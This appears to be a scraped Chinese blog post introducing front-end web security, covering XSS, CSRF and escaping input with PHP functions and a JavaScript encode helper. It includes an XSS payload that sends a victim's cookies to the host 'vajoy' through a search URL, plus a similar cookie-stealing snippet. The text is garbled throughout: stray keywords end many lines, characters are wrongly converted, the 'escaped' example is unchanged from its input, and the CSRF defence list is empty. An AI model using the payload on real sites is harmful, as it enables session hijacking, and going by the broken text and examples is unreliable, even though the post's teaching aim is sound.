(理解請看淺談WEB安全性(前端向))
javascript
看過文章 對web安全有了理解。在針對這個課題,簡單陳述。php
安全的問題大多數仍是依賴與後臺的過濾和攔截措施。css
防範措施也就是編寫前臺代碼時要避免的地方html
有兩種常見的攻擊方式前端
一、XSS:跨站腳本攻擊java
xss也就是 cross site scriting攻擊爲了區分css縮寫採用了xss縮寫 跨站腳本攻擊mysql
也就是javascript代碼注入簡單理解就是往他人web頁面裏插入惡意的script代碼。web
b.com/search?name=
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>複製代碼
對於XSS的預防天然也是對提交數據的過濾,另外還有一點——謹慎返回用戶提交的內容!sql
eval
、new Function
等執行字符串的方法,除非肯定字符串和用戶輸入無關二、CSRF:跨站請求僞造數據庫
CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。
其實就是網站中的一些提交行爲,被黑客利用,在你訪問黑客的網站的時候進行操做,會被操做到其餘網站上
CSRF防護措施:
其餘的一些攻擊方法還有HTTP劫持、界面操做劫持
資源
如何過濾輸入輸出
(1)經過函數mysqli_real_escape_string()過濾對數據庫有影響的字符串,避免sql注入。
(2)經過函數htmlspecialchars和htmlentities前者用來轉義&,>,<等字符,後者是轉義全部html標籤,避免XSS攻擊。
例如:<script>this.document = 某個網站地址?+this.cookie</script> 轉義後會變成 <script>this.document = 某個網站地址?+this.cookie</script>
二、js過濾轉義輸入輸出 要研究一下
前端轉義(這個感受不是太好 輸出的時候仍是要過來)
function
stringEncode(str){
var div=document.createElement('div');
if(div.innerText){
div.innerText=str;
}else{
div.textContent=str;//Support firefox
}
return div.innerHTML;
}